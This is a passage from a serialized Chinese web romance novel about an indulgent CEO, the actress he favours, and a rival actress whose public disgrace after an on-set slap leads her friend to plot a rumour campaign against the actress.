“兔子……女主角?温栩栩?变身?垂耳兔?假孕?!” 他喃喃自语,声音里带着一丝崩溃的颤抖。 “我……我没看错吧?” 不是才说让星娱的人拍摄这类相关的剧吗?怎么这还要让黎氏应是部门拟定这个项目了? 不是?这真的要为温栩栩定制剧本啊! 助理猛地从椅子上弹起来,像被电击了一样在办公室里来回踱步,一边走一边抓头发:“又是兔子!怎么又是兔子!从言情到麻辣兔头,现在直接要拍一部‘兔女郎’电视剧?还女主指定是温栩栩?这已经不是宠了,这是……这是病入膏肓了啊!” 他靠在墙上,仰头望着天花板,内心哀嚎:“黎总啊黎总,你到底被那只戏精兔子施了什么咒?” 他越想越绝望,掏出手机,点开公司内部通讯录,找到“黎氏娱乐影视部”的负责人,手指颤抖地打字:“紧急通知:黎总下令,立即启动‘兔子女主’电视剧项目,关键词‘变身’‘垂耳兔’‘假孕’‘甜宠’,女主锁定温栩栩,三天内交梗概,别问,问就是黎总的心头好。” 发送后,他瘫回椅子,两眼无神地盯着天花板上的吊灯,仿佛在看一场人生的幻灭。 “我当初考MBA,不是为了当‘兔学’项目总监啊……” 可命令就是命令。半 小时后,影视部的会议群就炸了。 群聊信息疯狂滚动,助理看着一条条消息,只觉得太阳穴突突直跳。 【黎氏影视八卦群】 影视部门的总监发了一张截图,截图就是助理给她发的那条信息。然后在后面发了几个问号。 {???什么意思,谁疯了?黎总怎么可能下达这种命令,你别唬人,这可不是开玩笑的!} 助理赶紧在群内回应。 {是真的黎总亲口说的,为了捧温小姐。} 这话一出群内静默很久。 {哇哦,刺激!} {不是?黎总玩这么大的吗!《灵媒》我们老大就投了几亿进去啊!这次又要投多少进去?之前捧苏婉可没这么用心,确定了,这位才是真的黎夫人吧!} {这差别也太大了,苏婉在的时候都是让人带着苏婉去试镜,到了温栩栩这里!黎总亲自建组啊!这跟直接把饭喂到温小姐嘴边有什么区别啊!} {虽然题材狗血……但是这种题材狗血剧一旦拍好真的会很受欢迎的,黎总既然投资了,那肯定要拍到最后,秦扬帆导演不是也拍过这类的剧吗?以前也挑战拍过偶像剧,后来成了大爆剧,这次估计黎总还会邀请秦导来拍,这部剧稳了,虽然还没有看到剧本,不知道男主角是谁,但绝对稳了!天王老子来了也绝对稳了!} {啧啧,这次《灵媒》给温栩栩搭戏的人是墨澜老师,这已经是圈内绝对的顶流第一人了,那这兔子剧谁给温老师搭戏啊……要不还是墨老师吧,墨老师扛戏啊!而且墨老师也不介意拍偶像剧的,只要黎总多给点,绝对没问题,黎总也不是缺钱的人! {那男配角呢!男主是墨澜,男配是宋子俞好了!} {男二号既然是宋子俞,那男三号是赵江晏吧!} {女二号周媛媛怎么样!} 助理看着这群人一个一个点到的人名眼前一黑的程度。 他老父亲的。 怎么都这么敢想的啊! 墨澜是圈内绝对的顶流举行,宋子俞是圈内壁墨澜热度少一阶段的当红男星,赵江晏是新晋演技派实力小声,周媛媛更是女演员中颜值演技都极高的流量小花。 这一群人,每一个单独拎出来都是能在一部剧里面当主角的程度。 现在让这群人来跟温栩栩搭戏! 这还是拍偶像剧。 好好好,行行行,你们是真的疯了吧! 一部女主跟兔子有关的剧,到底有什么地方让你们能这么兴奋啊! 助理不解,助理疑惑,助理根本完全不像懂啊! 然后助理都还没在群里回应,就见群里有人冒泡了。 {可以} 就两个字,回了可以。 群内又静默了一瞬,然后一群人开始尖叫,疯狂尖叫! 因为那个名字是黎云笙的号,曾经被助理拉进群但是没有发言过,后来被群主踢出去过,后来又一次被助理拉进去了,那之后没人注意到黎云笙,再加上黎云笙从来不会在里面发言,所以里面那群人全都不知道黎云笙在群内。 现在一群人猛然发现黎云笙竟然也在群内,这简直是噩梦。 不是?等等? 倒也不是噩梦了! 他们黎总刚才说什么?可以!那是完全采纳了他们的意见吗? 导演秦扬帆,男主墨澜,男二号宋子俞,男三号赵江晏,女二号周媛媛!黎总大气黎总威武! 一群人吱哇乱叫,唯有助理眼前一黑又一黑的程度。 助理干脆把手机反扣,闭眼深呼吸,试图说服自己:“冷静,你要冷静。这可能是黎总的一时兴起,三天后他可能就忘了。” 可他太了解黎云笙了。 黎云笙一旦认真,就没人能拦得住。 他睁开眼,打开电脑,调出黎氏最近的项目排期表,咬牙切齿地在空白处裂了更详细的项目表。 他敲下最后一个字,长叹一声,靠在椅背上,喃喃道:“完了,黎氏集团,要从商界帝国,转型为‘兔兔宇宙’了。” 而此刻,黎云笙正站在落地窗前,手中端着一杯温水,目光却落在手机屏幕上,温栩栩那条“兔兔这么可爱怎么可以吃兔兔”的消息,仍停留在对话框里。 他指尖轻点,将那张“委屈巴巴”表情包设为了聊天背景。 他不是变态。 他只是,终于找到了愿意让他放下所有防备、认真“幼稚”一次的人。 而那只戏精兔子,恰好,是他此生最想养的“宠物”。 当然,他不会真的将温栩栩当做宠物,可谁让温栩栩先开口提到了兔女郎呢? 嗯……说到兔女郎,是不是可以买些衣服首饰了? 第1267章 兔子那么可爱当然要吃兔子 助理站在片场角落,指尖捏着手机,屏幕的光映在助理略显苍白的脸上。 已经又一次收到黎总的指示了,以前是并购方案合同书,现在是……哎,助理都有些无奈。 助理机械地抬手,摸了摸额头渗出的冷汗,指尖微凉。 助理深吸一口气,指尖在屏幕上点了又点,才终于敲出收到回复。 远在顶层办公室的黎云笙,正倚在落地窗前,城市夜景如星河般铺展在他脚下。 他看着手机屏幕上那句“好的”,眸光仍然淡淡的。 他随手将手机搁在办公桌上,端起咖啡轻啜一口,心情颇好地回了温栩栩一条信息:“兔子那么可爱,当然要吃兔子。” 这句话看似荒诞,实则暗藏玄机。 温栩栩说她自己是兔子,“吃兔子”,在他这里,却成了一种独属于他们的暧昧暗语,带着几分调笑,几分宠溺,还有几分只有彼此才懂的亲密。 消息发出后,黎云笙靠在椅背上,指尖无意识地敲击着桌面,仿佛能透过屏幕看见那头的人会作何反应。 果然,没过多久,温栩栩的回复就来了。 她正坐在剧组休息区的小马扎上,手机屏幕亮起的瞬间,她唇角抽了下,盯着那句“当然要吃兔子”,额角的青筋微微跳动,她一边笑一边摇头:“这个人……真是越来越坏了。” 可她心里却像被轻轻挠了一下,酥酥麻麻的。 以前并不觉得黎云笙会说出这种话,但越接触黎云笙,她就越觉得他腹黑又毒舌。 温栩栩握着手机,眼底的笑意藏不住,像春日里被风吹皱的湖面,波光粼粼。 她的眼神中带着狡黠的笑,像只偷了鸡的小狐狸,可她回信息的语气却截然相反,软哒哒、甜丝丝,处处透着讨巧可爱的味道。 她飞快地打字:“我最近要参加一次活动,一定要看哦,有我给你的惊喜,超大超大的惊喜哦~(#10023;ω#10023;)” 还配上一连串颜文字和表情包,全是她私藏的垂耳兔系列,兔子开心地转圈、兔子抱着胡萝卜、兔子比心、兔子抱抱…… 一个个小表情活灵活现,仿佛她本人正蹦蹦跳跳地扑进他怀里撒娇。 黎云笙看到消息的瞬间,心尖猛地一痒,像被一团柔软的兔毛轻轻拂过。 他明明知道,这丫头骨子里是只狡黠的小狐狸,惯会用软萌的外表伪装自己,实则精明又鬼马,可他就是忍不住想揉一揉、捏一捏她那虚化出来的“兔毛毛”。 他盯着屏幕,喉结微动,呼吸略显沉重。 指尖在键盘上停顿片刻,最终只回了三个字:“好,我会看。” 简洁,克制,却重若千钧。 温栩栩看到回复,满意地眯起眼,像只偷到鱼的小猫,尾巴都快翘上天了。 她完成了今日的“绿茶聊天日常”,实则是她心照不宣的撒娇仪式,关掉手机,元气满满地起身,准备投入接下来的拍摄。 可刚站起身,一股浓烈霸道的香气便扑面而来,麻辣兔丁!麻辣兔头! 剧组角落,两大箱刚送到的美食正被打开,红油翻滚,花椒辣椒的辛香直冲鼻腔,那股子“香到脑瓜子嗡嗡”的劲儿,瞬间席卷整个片场。连正在对戏的演员都停了下来,齐刷刷转头望向那两箱“罪恶之源”。 “哇——!温老师是不是山城那边的兔兔!” “这味道……绝了!我一天没吃饭了!” “救命,我拍戏的力气全被这香味勾走了!” 温栩栩笑着走过去,手里还拿着手机,一边点开热量计算APP,一边念叨:“别急别急,人人有份。” 她认真算着:每一百克麻辣兔丁热量约133大卡,每盒净重150克,一盒兔丁加一盒兔头,总热量约400大卡。她又查了今日的运动量记录,早上晨跑五公里,下午排练两小时,足够消化这些热量,不会囤积成脂肪。 “OK,安全!”她松了口气,像完成了一项重大任务,随即大方地把兔丁兔头分给在场的每一位演员。 “来来来,一人一盒,别客气!今天拍得辛苦,补补能量!” 黎云笙买这么多,本也没打算让她一个人吃完,这东西也放不住,本来就是让她在剧组分享的。 剧组瞬间沸腾。 有人直接坐下,掏出一次性手套,迫不及待地开啃,还有人边吃边含糊不清地夸:“温老师,你是我的神!” 那香味儿太冲了,红油顺着指缝流下,啃完还想嗦手指,整个剧组都飘荡着麻辣兔丁的香气,连空气都变得“有味道”了。 节目组的工作人员站在一旁,眼巴巴地看着,馋得直咽口水。连一向稳重的摄影老师都忍不住小声问:“温老师,我们……也能来一盒吗?” 温栩栩笑着点头:“当然!别说我没照顾你们!” 她转身让助理把剩下的分给工作人员,连茶水间的保洁阿姨都收到了一份。 一时间,整个剧组其乐融融,仿佛不是在拍戏,而是在参加一场大型美食分享会。 而这一切,其实都在黎云笙的预料之中。 早在温栩栩说要请剧组吃兔头时,他就已悄悄安排下去,不仅准备了足够的麻辣兔丁兔头,还贴心地为工作人员准备了清爽的茶点、解辣的酸梅汤、甚至还有无辣版的卤味拼盘,照顾到不能吃辣的工作人员。 “黎总,您这是……”助理小心翼翼地问。 黎云笙站在监控屏幕前,看着温栩栩被众人簇拥着分发食物,笑得眉眼弯弯,像只真正的小兔子。 难得不像狐狸像兔子了,不过兔子吃兔肉……黎云笙都觉得有点噩梦,果然温栩栩还是一只狐狸,狐狸吃兔子就正常了。 他淡淡勾唇:“她开心就够了。” 他不干涉她的工作,却总在她看不见的地方,为她铺好每一条路,扫清每一丝不适。他知道她爱热闹,爱分享,也爱用美食拉近人与人之间的距离。所以他不阻止,反而支持,甚至暗中助力。 剧组里有人小声议论:“温老师人真的太好了,不仅演技好,还这么接地气。” 第1268章 背后是黎氏 “关键是背后还有黎氏撑腰,谁敢惹她?那不是宋婉榕宋律师都出面了,妥妥的是被黎氏捧着呢。” “可不是嘛,但凡不是傻子,都知道这时候该跟温栩栩搞好关系。你看看她现在的资源,再看看黎总的架势……以后必定爆红啊!” 这些话,温栩栩听不见,也不在乎。 她只知道,她喜欢现在的生活,有戏可拍,有朋友相伴,有美食共享,还有一个人,在遥远的城市另一端,默默注视着她,等着她的“大惊喜”。 她咬了一口兔头,辣得吸气,却笑得更欢。 她打开手机,给黎云笙发了张自拍,她戴着一次性手套,脸上沾了点红油,眼睛却亮得惊人,配文:“今日份小兔子,正在努力干饭,等你来看我哦。” 其实温栩栩也觉得自己跟黎云笙之间的关系有些过于暧昧了,但是她真的不想那么多了,她就是想……再靠近黎云笙一点。 消息发出后,她关掉手机,重新投入拍摄。 而黎云笙在看到那张照片的瞬间,一贯冷峻的脸上,终于露出了一个略有些无奈的笑。 温栩栩在剧组跟工作人员或者其他演员关系都还不错。 最开始温栩栩刚入组时,剧组里并非一片祥和。 彼时她虽已有几分名气,却仍属“新面孔”,资历尚浅,又因气质清冷、不善逢迎,难免惹来些背后的议论。 有人嘀咕:“这人是不是靠关系进来的?” 也有人冷眼旁观:“看着挺清高,演得怎么样还不知道呢。” 尤其是苏婉的粉丝和身边人,更是明里暗里地排挤、轻视,仿佛温栩栩的存在,动了谁的奶酪。 可不过短短数周,风向便彻底逆转。 如今的剧组,再没人敢在背后“蛐蛐”温栩栩一句。 不仅因为她用实力证明了自己,在秦扬帆导演的严苛标准下,她每一场戏都完成得精准到位,情绪层次分明,台词功底扎实,连最挑剔的副导演都不得不承认:“这姑娘,是块好料子。” 更因为,所有人都心知肚明,温栩栩,是黎氏集团如今最想捧的人。 黎氏的资源与能量,在娱乐圈堪称“定海神针”。 一个项目,只要黎氏点头投资,立刻就能从“小制作”跃升为“重点扶持”,一个演员,只要被黎氏看中,资源、曝光、代言,便会如潮水般涌来。 而温栩栩,不仅被黎氏投资的项目选中,更被黎云笙亲自关注…… 这种“被罩着”的信号,比任何合同都来得有力。 于是,曾经的质疑声悄然消失,取而代之的是恭敬、讨好,甚至是小心翼翼的逢迎。 而苏婉,却成了这场权力更迭中最鲜明的对照。 她本打算退出剧组。 在温栩栩进组、风头渐盛之后,她便向制片方提出解约,理由是“身体不适,无法继续拍摄”。 可制片方一句“按合同,违约需赔付一千万违约金”,便将她所有退路堵死。 一千万,对普通演员而言是天文数字,对苏婉,也并非轻而易举。 她虽是二三线女艺人,片酬不菲,可大部分收入早被她那“雄心勃勃”的亲生父亲拿去投资,企图重振早已没落的苏家。 他四处参股、炒概念、追风口,结果却是一败涂地,项目爆雷、资金链断裂、债务缠身。 苏婉不仅没拿到分红,反而被家族拖累,背上了隐形的经济压力。 她拿不出一千万,也赔不起这份违约金,别说一千万,她就算是五百万也拿不出来,现在苏婉住的房子都是黎云笙为她安排的,包括她参加活动红毯的礼服首饰都是黎氏为她准备的。 所以现在可怕的是,她不敢向黎云笙开口。 因为她心里很清楚黎云笙其实已经在她和温栩栩之间做出了选择,她选择了温栩栩,她好像现在没脸去找黎云笙。 在他心里,温栩栩与她之间,他毫不犹豫地选择了前者。 不是权衡,不是犹豫,而是干脆利落地“选边站”。 那一刻,苏婉终于明白,自己在黎云笙眼中,早已不是“可争取的合作者”,而是“可舍弃的旧棋子”。 她走不了,只能留下。 可留下,却比离开更煎熬。 曾经,她是剧组的“大姐大”,新人见了她都得恭敬喊一声“苏婉姐”,助理们抢着给她递水、打伞。 可如今,那些人见了她,要么绕道而行,仿佛她身上带着瘟疫,要么迎面遇上,也只冷冷点头,甚至有人故意提高音量:“哎哟,这不是那位‘大腕’吗?怎么还没走啊?”语气里的讥讽,像细密的针,扎得她喘不过气。 冷暴力,是最无声却最锋利的刀。 环境真的会改变一个人。 曾经的苏婉,是骄傲的孔雀。她出身世家,虽家道中落,却仍以“名门之后”自居。 她自信、自傲、自大,甚至有些自以为是。她相信,只要她愿意,资源、人脉、机会都会向她倾斜。 以前的苏婉,根本没把温栩栩放在眼里。 可如今,她被孤立、被嘲讽、被边缘化。 戏份被压缩,镜头被剪,连助理都开始敷衍她。 她站在片场角落,看着温栩栩只不过来客串,却被导演亲自指导、被工作人员簇拥,被黎云笙暗中护持,那种巨大的落差,像潮水般将她淹没。 她开始失眠,整夜地睁着眼睛,盯着天花板。 她不敢照镜子,因为镜中那个眼神涣散、面色憔悴的女人,早已不是她记忆中的自己。 她不再昂首挺胸,不再盛气凌人,甚至看到人走近,都会下意识地低头、缩肩,想把自己藏进角落,不被看见。 她彻底垮了。 从精神到肉体,从自信到尊严,被一点点碾碎。 而这一切,最可怕之处在于,没有人对她动手,却人人都在看她坠落。 怎样报复一个人最可怕?不是打她一巴掌,不是骂她一句,而是诛心,从她的内心开始瓦解,让她亲眼看着自己曾经坚信的一切崩塌,让她在众目睽睽之下,失去所有骄傲与体面。 第1269章 人言可畏 而她打的温栩栩的那记耳光,成了她命运的转折点。 苏婉没看到有记者盯着他们,但温栩栩看到了,所以温栩栩是故意让那些人拍到被苏婉打的照片。 苏婉那时候就猜到自己会上热搜被骂,这件事都还没传到网络上,剧组内部就已经传开了。 因为温栩栩回到节目组后,特意用了厚重的遮瑕粉底液,仔细盖住脸上的红印。 她没有声张,没有控诉,只是如常工作,笑着对镜头说:“今天状态还不错,希望镜头能拍得好看点。” 可剧组工作人员的眼睛是雪亮的。 有人发现她右脸肤色不均,有人对比前后照片,立刻察觉异常。 还不等节目组放出后期花絮,狗仔队的镜头便已悄然锁定这场风暴的中心。 一张高清抓拍照片,如利刃般刺破平静,瞬间引爆全网。 照片中,苏婉面目狰狞,咬牙切齿,右手高高扬起,正狠狠甩向温栩栩的脸颊。 那一瞬间的表情被定格得淋漓尽致,眉峰紧蹙,嘴角扭曲,眼底燃烧着近乎失控的恨意,仿佛眼前之人不是同组演员,而是不共戴天的仇敌。 而温栩栩则微微侧脸,睫毛低垂,脸颊微红,却未躲闪,也未还击,只有一种近乎悲悯的沉默,静静承受着这突如其来的暴力。 这张照片,抓拍得堪称“完美”,角度精准,光线分明,情绪饱满。 每一个细节都在诉说一个故事,施暴者的暴戾,受害者的隐忍。 照片一经曝光,立刻被贴上微博热搜,标题赫然写着:“#苏婉片场暴打温栩栩#”“#温栩栩被掌掴现场实录#”“#苏婉人设彻底崩塌#”。 评论区瞬间炸锅。 于是,“温栩栩被打”“苏婉动手”“温栩栩隐忍遮伤”等话题,悄然在社交平台发酵。 而温栩栩的“遮掩”,反而成了最有力的控诉。 苏婉动手的照片也被放到了网络上,苏婉以前人淡如菊,温婉可亲的形象也彻底崩塌了。 网友开始对比,一边是苏婉趾高气昂、动手伤人一边是温栩栩默默遮伤、不吵不闹、继续工作。一个骄横跋扈,一个温柔坚韧。高下立判。 “天啊!她居然真的动手?还是当着这么多人的面!” “温栩栩也太惨了,被打成这样还不还手……” “之前还觉得苏婉有气场,现在只觉得她疯批又恶毒。” “粉转黑,立刻取关!这种艺人不配拥有粉丝!” “温栩栩太让人心疼了,被打还替对方遮丑。” “苏婉真是人设崩塌,以前觉得她有气场,现在只觉得她刻薄。” “这对比太明显了,我记得之前有人当着苏婉的面提到过温栩栩,苏婉是怎么回应的?苏婉说不知道温栩栩,没听说过温栩栩,根本不知道温栩栩是谁,甚至有些刻薄的说不是所有‘网红’都能够成为明星的,那时候苏婉这样说,其实明摆着就是在嫉妒温栩栩吧,因为温栩栩比她漂亮啊。” 这些言论,如潮水般涌来,将苏婉彻底推上风口浪尖。 她的社交媒体被骂到关闭评论,品牌方纷纷撤下合作,连原本还在洽谈的剧集也悄然终止。 粉丝数量以肉眼可见的速度暴跌。苏婉的微博粉丝从八百万迅速跌至五百万,再跌到四百万……取关潮如海啸般席卷而来,评论区被“渣女”“暴力狂”“过气还作妖”等字眼淹没。 她终于尝到了“人言可畏”的滋味。 而这一切,温栩栩从未主动推动。 她只是做了她该做的,演好戏,守好心,不争不抢,却自有光芒。 至于针对苏婉,那也是苏婉自作自受,如果苏婉没想设计她陷害她,温栩栩就根本没想过去针对苏婉,所以说到底,还是苏婉自己作的。 温栩栩知道,真正的报复,不是以暴制暴,而是让对方在众目睽睽之下,亲眼看着自己从高处坠落,看着自己曾经的傲慢如何反噬自身,看着自己引以为傲的“身份”与“地位”,在现实面前不堪一击。 这,才是最深的诛心。 苏婉终于明白,她输的,从来不是演技,不是资源,而是人心。 她曾以为,只要地位够高,就能践踏他人,只要背景够硬,就能为所欲为。可她忘了,在真正的格局与气度面前,那些虚浮的光环,一文不值。 人,终究是环境的产物。 苏婉的坠落,不是因为温栩栩有多强,而是因为她自己早已失去了立足的根基。她的骄傲建立在虚幻的家世上,她的自信来源于他人的奉承,而当这些外在支撑崩塌,她便一无所有。 而温栩栩的崛起,也不是偶然。她有实力,有韧性,更有清醒的头脑。她知道,在这个圈子里,真正的武器不是背景,不是关系,而是不可替代的价值与永不低头的姿态。 黎云笙之所以选择她,不是因为宠爱,而是因为她值得。 他不需要一个依附于他的人,他需要一个能与他并肩而立的人。 而苏婉,终究成了那个被时代抛弃的人。 她不是输给了温栩栩,而是输给了自己。 输给了她的傲慢,她的短视,她对人性的无知。 她以为打一巴掌就能震慑对方,却不知,真正的力量,从不靠暴力来证明。 她以为躲进角落就能逃避舆论,却不知,人言如刀,刀刀割心。 她以为黎云笙还会回头,却不知,一旦失去信任,便再无回头可能。 夜深,片场灯光渐熄。 苏婉独自坐在化妆间,镜中映出她疲惫的脸。 她好像真的已经完全扛不住了,几乎是快要发疯的程度。 苏婉是王双双的闺蜜,是她在这个圈子里最信任、最亲近的人。 苏婉不敢去找自己的父亲了,她怕联系到父亲,对方又会一直找自己要钱,她已经没多少钱了,现在连违约金都付不起了。 她只能去找王双双诉苦。 可如今,王双双看着手机屏幕上那条苏婉发来的语音,指尖发颤,心如刀割。 第1270章 墙倒众人推 “双双,我受不了了……我真的承受不住了……”苏婉的声音沙哑、破碎,像被砂纸磨过一般,带着浓重的鼻音和压抑不住的啜泣,“你不知道我在组里过的是什么生活……她们所有人都瞧不起我,全都在欺负我……我每天一睁眼,就想逃,可我连逃的资格都没有……” 语音断断续续,每一句都像一把钝刀,缓缓割开王双双的心。她仿佛能看到苏婉蜷缩在酒店房间的角落,抱着膝盖,眼泪无声滑落,四周是死一般的寂静,只有手机屏幕微弱的光,映照着她苍白如纸的脸。 王双双点开微博,手指颤抖地输入“苏婉”两个字。 热搜榜首,赫然是#苏婉片场掌掴温栩栩#,点进去,满屏都是谩骂。 “打人精滚出娱乐圈!” “温栩栩那么温柔还被她打,心肠真歹毒。” “以前就觉得她高高在上,现在果然原形毕露。” “粉丝别洗了,监控都拍到了,实锤暴力!” 评论区如一片沸腾的火山口,灼热而恶毒。 有人扒出苏婉过往的采访片段,断章取义地剪辑成“傲慢合集”,有人制作表情包,把她被打马赛克的脸配上“疯女人”字样,更有甚者,开始人肉她的家庭背景,嘲讽“落魄千金装什么大小姐”。 王双双看着这些,只觉得一股热血直冲头顶,眼眶瞬间通红。 这一切,都是温栩栩的阴谋! 她不信温栩栩是无辜的。 那一巴掌,固然是苏婉失控,可若不是温栩栩步步紧逼、暗中操控、借舆论之手将苏婉推向深渊,她怎会落到如此境地? 她明明可以低调处理,可以私下和解,可她没有。 她选择了最残忍的方式让全世界都看到苏婉的丑态,让她的尊严被踩进泥里。 温栩栩,你太狠了。 王双双咬紧牙关,指甲深深掐进掌心。她曾以为温栩栩只是个运气好、有点演技的新人,可现在她终于明白这个女人狠在骨子里,毒在无声处。 她不吵不闹,不争不抢,却用最温柔的方式,完成了最彻底的碾压。 而苏婉,已经被逼到了崩溃的边缘。 “这戏怎么拍?”苏婉在电话里哭着问,“每一个镜头,都是折磨。” 她不是在演戏,而是在受刑。 剧组的演员们,早已换了一副面孔。 曾经对她毕恭毕敬的配角,如今见了她便冷笑一声,转身走开,化妆师给她上妆时,手法粗暴,粉底厚得像面具,却没人敢说一句“太厚了”,场务递水,现在也只给温栩栩准备,苏婉只能自己去冰箱拿,而那冰箱,早已被贴上“温老师专属”标签。 更可恶的是,那些“摄像头拍不到的地方”。 休息时,有人故意提高音量:“有些人啊,以为自己还是当年的顶流,结果呢?连个新人的热度都比不上。” “你看她走路的样子,还端着呢,也不看看现在谁才是导演的心头好。” “温栩栩可是黎少亲自关照的人,她苏婉算什么?一个快过气的老演员,还敢动手?真是不自量力。” 这些话,字字如针,扎进苏婉的耳膜,也扎进她早已千疮百孔的自尊。 最让她难堪的,是搭戏的男演员。 那本是她的重要感情线,可自从温栩栩进组,男演员对她的态度便急转直下。对戏时,眼神冷漠,台词敷衍,连最基本的互动都显得生硬尴尬。有一次,导演安排一场吻戏,男演员竟直接提出:“能不能删了?我实在……下不去嘴。” 导演皱眉:“这是剧情需要。” 男演员冷笑:“可她现在是个暴力女,我怕观众接受不了。” 全场寂静。 苏婉站在原地,仿佛被剥光了衣服,暴露在众目睽睽之下。 她想反驳,想怒吼,可她张了张嘴,却发不出声音。 她终于明白,在这个圈子里,一旦被贴上“恶人”标签,连呼吸都是错的。 她开始失眠,整夜整夜地醒着,盯着天花板,耳边回响着那些嘲讽、冷笑、窃语。 她不敢照镜子,因为镜中那个眼神空洞、面色灰败的女人,早已不是她自己。 她开始自言自语,有时突然大哭,有时又突然大笑,助理吓得不敢靠近,只敢远远看着,私下议论:“苏老师是不是疯了?” 她甚至开始怀疑,自己是不是真的那么坏?是不是真的不配留在这里? 她快被逼疯了。 而这一切,王双双都看在眼里,痛在心里。 “苏婉,你别哭。”王双双在电话里哽咽着,“我会让温栩栩付出代价的!我不会让她好过!” 她声音坚定,像在发誓,又像在诅咒。 苏婉却只是哭:“温栩栩太可怕了……你根本不是她的对手……我……我只要一听到她的名字,心就抖……我控制不住自己……” 她已经到了提起温栩栩就瑟瑟发抖的地步。那个曾经高傲如孔雀的女人,如今连名字都不敢提。她怕她的目光,怕她的沉默,怕她那副“我很大度”的虚伪面孔。 她怕极了。 王双双听着,心如刀绞。 她知道,苏婉的崩溃,不只是因为被打上“暴力”标签,更是因为她输得彻底,输得毫无尊严。 她曾以为自己是主角,可如今,她连配角都不如。她曾以为自己有靠山,可黎云笙早已弃她如敝履。她曾以为自己有尊严,可如今,连一个场务都敢对她冷笑。 “苏婉,你听着,”王双双握紧手机,声音低沉而狠厉,“温栩栩算什么?她不过是个靠男人上位的小情儿!她以为有黎云笙护着,就能横着走?可她忘了男人的心,最是善变。 黎云笙能捧她,就能弃她。等她失势那天,就是她身败名裂之时!” 她咬牙切齿,一字一句道:“我不会让她安稳的在娱乐圈爆红的。哪怕她真的红了,我也要让她尝尝什么叫‘墙倒众人推’。我要让她被万人唾骂,被品牌解约,被剧组换角,被全网封杀!我要让她跪着求饶,却没人肯救她!” 第1271章 靠关系上位 她的眼睛赤红,像一头被激怒的母狮,浑身散发着戾气。 她不是在说气话。 她是认真的。 她开始暗中联系媒体,泄露温栩栩“耍大牌”的片段,她买水军,在温栩栩的微博下刷“小三”“心机女”,她甚至联系了圈内其他喜欢黎云笙的千金,试图挖出温栩栩的黑料。 她要毁了温栩栩,用尽一切手段。 因为她知道,苏婉已经撑不下去了。 王双双,绝不允许她被这样践踏。 不仅是为了苏婉,也是为了自己,她绝对不允许温栩栩踩到自己的头上。 王双双不是不想立刻掀翻温栩栩的台,可她不蠢。 她清楚地知道,此刻黎云笙正将温栩栩护在羽翼之下,动她,就等于直接挑衅黎氏。 而王家还有李家虽有底蕴,却也不愿轻易与黎氏正面交锋。若因一时冲动,引得黎氏反扑,牵连家族,那她不仅救不了苏婉,反而会将自己和家人一同拖入深渊。 她不能现在就让李丽杰出面。 所以,王双双选择了一条更阴柔、更致命的路,不正面开战,只悄然放火。 她要给温栩栩添点“小麻烦”,那种看似不起眼,却如跗骨之蛆般令人寝食难安的麻烦。 不是轰轰烈烈的曝光,而是细水长流的侵蚀,不是一击毙命,而是慢慢放血。她要让温栩栩在光鲜亮丽的表象下,被舆论的毒液一点点腐蚀,直到她再也无法维持那副清纯无辜的假面。 而最好的武器,就是谣言。 温栩栩在学院里的名声,早就臭了。不是因为成绩,不是因为品行,而是因为她那“踩着男人上位”的传闻,早已在校园里传得沸沸扬扬。 虽然没人能拿出实锤,但流言本身就是最锋利的刀,它不需要证据,只需要“大家都这么说”。 王双双冷笑。真相不重要,重要的是人们愿意相信什么。 她只需轻轻推一把,就能让这把刀刺得更深。 她开始行动,联系了温栩栩曾经的同班同学,在学院里,没有人会喜欢温栩栩,因为温栩栩太漂亮,漂亮艳丽到让她们觉得有攻击性,可最开始其实并不是这么多人对她有敌意,甚至有人觉得温栩栩漂亮,想跟她做朋友,可就是王双双羡慕嫉妒温栩栩的那张脸所以肆意的散播谣言,这才导致学院内的女生都认为温栩栩背后有金主,才会对她产生厌恶感。 这些问题,像种子一样,悄然播下。 接着,她安排人在校园论坛、匿名树洞、小红书小组里,陆续放出“回忆帖”。 这些帖子,没有确凿证据,却句句戳中人性的阴暗面,人们永远更愿意相信“光鲜背后有肮脏”,而不是“努力终有回报”。 很快,校园内外开始流传:“温栩栩为了出道,甩了穷男友,找了金主上位。” “她根本不是什么清纯小白花,而是心机深沉的绿茶。” “她连感情都能当工具,还有什么做不出来?” 温栩栩,彻底不占理了。 她可以澄清:“我没谈过恋爱。” 可没人信。 一个女人说“我没谈过”,和一百个人说“她甩了男友”,谁更有说服力? 她可以说:“这是谣言。” 可没人会信,更妙的是,这些谣言,温栩栩根本洗不掉。 她不能拿出“男友”来证明自己没甩人,因为她根本没有。 她不能公开恋爱记录,因为她从未公开过任何感情。 她甚至不能起诉造谣者,因为没人实名,全是“听说”“记得吗”“好像”。 她陷入了最可怕的困境,被集体记忆定罪。 而王双双要的,就是这种效果。 她不是要温栩栩立刻塌房,而是要让她在出道前,就背负上“人设污点”。让她每一次露面,都有人小声议论:“这就是那个甩男友攀高枝的吧?”“她演技再好,品行也不行。”“她的粉丝还吹她清纯,笑死,学校里谁不知道她什么货色?” 温栩栩再怎么洗,一个人的声音,如何对抗全校的“共识”? 她没做错什么法律上的事,却在道德上,被王双双精准地钉在了耻辱柱上。 这正是王双双的高明之处,她不造谣,她只是“还原”了人们愿意相信的“真相”。 而温栩栩的粉丝,那些狂热的“栩光”,开始慌了。 他们冲进校园论坛骂人,控评、刷赞、举报帖子。可越是激烈,越显得心虚。 路人冷眼旁观:“这么急?说明心里有鬼吧。”“真清白的人,需要这么拼命洗吗?” 有人开始脱粉:“我粉的是努力追梦的女孩,不是靠男人上位的心机女。” 有人质疑:“她要是真清白,为什么不直接发声明?为什么只让粉丝骂?” 王双双的手段,看似阴险,实则精准。她深知在这个时代,真相不重要,印象才重要。 一个人可以从未做过错事,但只要被贴上“心机”“绿茶”“拜金”的标签,她的一切努力都会被重新解读。 她不靠家族硬刚,而是用最廉价却最有效的武器,流言。 她不求立刻击倒温栩栩,而是让她在出道前,就背负上无法甩脱的道德枷锁。让她每一次微笑,都被人怀疑是“装的”,每一次流泪,都被人说是“演的”,每一次成功,都被人说是“靠关系”。 这才是最狠的报复,不是毁掉她的人生,而是毁掉她的人生意义。 而温栩栩,终究会明白,最可怕的敌人,不是当面撕扯你头发的人,而是那个在你背后,轻轻说一句“我听说……”的人。、 网络上的风浪,从来不会为谁停歇。 它像一场无休止的暴雨,落在谁的头上,谁就要承受那千千万万滴冰冷的水珠,每一滴,都是一句恶语、一张截图、一段断章取义的视频。 而此刻,这场暴雨正倾盆而下,全部浇在温栩栩的头顶。 黑她,成了某种“政治正确”。 点开热搜,满屏皆是#温栩栩人设崩塌#、#温栩栩凭什么拿主角#、#温栩栩滚出娱乐圈#……评论区里,清一色的辱骂与嘲讽,仿佛她犯下了滔天大罪。 